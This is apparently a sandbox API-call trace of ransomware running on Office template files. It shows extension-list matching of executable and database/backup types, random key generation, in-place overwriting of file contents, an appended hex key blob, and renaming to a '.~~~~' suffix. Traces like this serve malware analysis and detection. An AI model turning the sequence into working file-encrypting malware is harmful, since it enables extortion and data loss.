	[0139.997] lstrlenW (lpString=".MYD") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".MYD") returned 0x0
	[0139.997] lstrlenW (lpString=".DBT") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DBT") returned 0x0
	[0139.997] lstrlenW (lpString=".ACCDB") returned 6
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.997] lstrlenW (lpString=".fdb") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".fdb") returned 0x0
	[0139.997] lstrlenW (lpString=".bak") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".bak") returned 0x0
	[0139.997] lstrlenW (lpString=".myd") returned 4
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".myd") returned 0x0
	[0139.997] lstrlenW (lpString=".DTXS") returned 5
	[0139.997] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".DTXS") returned 0x0
	[0139.998] lstrlenW (lpString=".ckp") returned 4
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".ckp") returned 0x0
	[0139.998] lstrlenW (lpString=".dbt") returned 4
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".dbt") returned 0x0
	[0139.998] lstrlenW (lpString=".db") returned 3
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".db") returned 0x0
	[0139.998] lstrlenW (lpString=".TXT") returned 4
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".TXT") returned 0x0
	[0139.998] lstrlenW (lpString=".MDF") returned 4
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".MDF") returned 0x0
	[0139.998] lstrlenW (lpString=".bdb") returned 4
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".bdb") returned 0x0
	[0139.998] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0139.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.998] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.999] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.000] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25998990464) returned 1
	[0140.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbcdbaf90, dwHighDateTime=0x1d60e1e)) 
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d6c0
	[0140.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d6c0 | out: hHeap=0x300000) returned 1
	[0140.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e490
	[0140.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0140.004] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.004] GetLastError () returned 0x0
	[0140.005] GetLastError () returned 0x0
	[0140.005] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.005] GetLastError () returned 0x0
	[0140.005] GetLastError () returned 0x0
	[0140.005] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.009] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.009] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.009] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.009] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.038] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.039] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.039] CloseHandle (hObject=0x108) returned 1
	[0140.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e3e8
	[0140.042] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css.~~~~")) returned 1
	[0140.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e3e8 | out: hHeap=0x300000) returned 1
	[0140.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.045] GetLastError () returned 0x0
	[0140.045] RtlWakeConditionVariable () returned 0x365f70
	[0140.045] GetCurrentThreadId () returned 0x3a4
	[0140.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".scr") returned 0x0
	[0140.045] lstrlenW (lpString=".cmd") returned 4
	[0140.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".cmd") returned 0x0
	[0140.045] lstrlenW (lpString=".dll") returned 4
	[0140.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dll") returned 0x0
	[0140.046] lstrlenW (lpString=".bat") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".bat") returned 0x0
	[0140.046] lstrlenW (lpString=".cpl") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".cpl") returned 0x0
	[0140.046] lstrlenW (lpString=".sys") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".sys") returned 0x0
	[0140.046] lstrlenW (lpString=".msc") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".msc") returned 0x0
	[0140.046] lstrlenW (lpString=".com") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".com") returned 0x0
	[0140.046] lstrlenW (lpString=".lnk") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".lnk") returned 0x0
	[0140.046] lstrlenW (lpString=".msp") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".msp") returned 0x0
	[0140.046] lstrlenW (lpString=".pif") returned 4
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".pif") returned 0x0
	[0140.046] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0140.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.048] lstrlenW (lpString=".sqb") returned 4
	[0140.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".sqb") returned 0x0
	[0140.048] lstrlenW (lpString=".ost") returned 4
	[0140.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".ost") returned 0x0
	[0140.049] lstrlenW (lpString=".txt") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".txt") returned 0x0
	[0140.049] lstrlenW (lpString=".mdt") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".mdt") returned 0x0
	[0140.049] lstrlenW (lpString=".BDB") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".BDB") returned 0x0
	[0140.049] lstrlenW (lpString=".eql") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".eql") returned 0x0
	[0140.049] lstrlenW (lpString=".DBF") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DBF") returned 0x0
	[0140.049] lstrlenW (lpString=".EQL") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".EQL") returned 0x0
	[0140.049] lstrlenW (lpString=".FDB") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".FDB") returned 0x0
	[0140.049] lstrlenW (lpString=".EDB") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".EDB") returned 0x0
	[0140.049] lstrlenW (lpString=".DACPAC") returned 7
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.049] lstrlenW (lpString=".VHD") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".VHD") returned 0x0
	[0140.049] lstrlenW (lpString=".DBV") returned 4
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DBV") returned 0x0
	[0140.049] lstrlenW (lpString=".dacpac") returned 7
	[0140.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dacpac") returned 0x0
	[0140.049] lstrlenW (lpString=".sdf") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".sdf") returned 0x0
	[0140.050] lstrlenW (lpString=".accdb") returned 6
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".accdb") returned 0x0
	[0140.050] lstrlenW (lpString=".DBX") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DBX") returned 0x0
	[0140.050] lstrlenW (lpString=".MDT") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".MDT") returned 0x0
	[0140.050] lstrlenW (lpString=".SQB") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".SQB") returned 0x0
	[0140.050] lstrlenW (lpString=".vhd") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".vhd") returned 0x0
	[0140.050] lstrlenW (lpString=".bac") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".bac") returned 0x0
	[0140.050] lstrlenW (lpString=".mdf") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".mdf") returned 0x0
	[0140.050] lstrlenW (lpString=".BAK") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".BAK") returned 0x0
	[0140.050] lstrlenW (lpString=".BAC") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".BAC") returned 0x0
	[0140.050] lstrlenW (lpString=".dbs") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dbs") returned 0x0
	[0140.050] lstrlenW (lpString=".vhdx") returned 5
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".vhdx") returned 0x0
	[0140.050] lstrlenW (lpString=".NDF") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".NDF") returned 0x0
	[0140.050] lstrlenW (lpString=".dat") returned 4
	[0140.050] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dat") returned 0x0
	[0140.051] lstrlenW (lpString=".DBS") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DBS") returned 0x0
	[0140.051] lstrlenW (lpString=".CKP") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".CKP") returned 0x0
	[0140.051] lstrlenW (lpString=".edb") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".edb") returned 0x0
	[0140.051] lstrlenW (lpString=".PST") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".PST") returned 0x0
	[0140.051] lstrlenW (lpString=".dbf") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dbf") returned 0x0
	[0140.051] lstrlenW (lpString=".SQL") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".SQL") returned 0x0
	[0140.051] lstrlenW (lpString=".pst") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".pst") returned 0x0
	[0140.051] lstrlenW (lpString=".dbv") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dbv") returned 0x0
	[0140.051] lstrlenW (lpString=".SDF") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".SDF") returned 0x0
	[0140.051] lstrlenW (lpString=".dtxs") returned 5
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dtxs") returned 0x0
	[0140.051] lstrlenW (lpString=".db3") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".db3") returned 0x0
	[0140.051] lstrlenW (lpString=".OST") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".OST") returned 0x0
	[0140.051] lstrlenW (lpString=".dbx") returned 4
	[0140.051] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dbx") returned 0x0
	[0140.051] lstrlenW (lpString=".DB3") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DB3") returned 0x0
	[0140.052] lstrlenW (lpString=".DAT") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DAT") returned 0x0
	[0140.052] lstrlenW (lpString=".VHDX") returned 5
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".VHDX") returned 0x0
	[0140.052] lstrlenW (lpString=".ndf") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".ndf") returned 0x0
	[0140.052] lstrlenW (lpString=".DB") returned 3
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DB") returned 0x0
	[0140.052] lstrlenW (lpString=".sql") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".sql") returned 0x0
	[0140.052] lstrlenW (lpString=".MYD") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".MYD") returned 0x0
	[0140.052] lstrlenW (lpString=".DBT") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DBT") returned 0x0
	[0140.052] lstrlenW (lpString=".ACCDB") returned 6
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.052] lstrlenW (lpString=".fdb") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".fdb") returned 0x0
	[0140.052] lstrlenW (lpString=".bak") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".bak") returned 0x0
	[0140.052] lstrlenW (lpString=".myd") returned 4
	[0140.052] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".myd") returned 0x0
	[0140.052] lstrlenW (lpString=".DTXS") returned 5
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".DTXS") returned 0x0
	[0140.053] lstrlenW (lpString=".ckp") returned 4
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".ckp") returned 0x0
	[0140.053] lstrlenW (lpString=".dbt") returned 4
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".dbt") returned 0x0
	[0140.053] lstrlenW (lpString=".db") returned 3
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".db") returned 0x0
	[0140.053] lstrlenW (lpString=".TXT") returned 4
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".TXT") returned 0x0
	[0140.053] lstrlenW (lpString=".MDF") returned 4
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".MDF") returned 0x0
	[0140.053] lstrlenW (lpString=".bdb") returned 4
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".bdb") returned 0x0
	[0140.053] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.053] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.053] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.055] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.055] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.055] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26004518081) returned 1
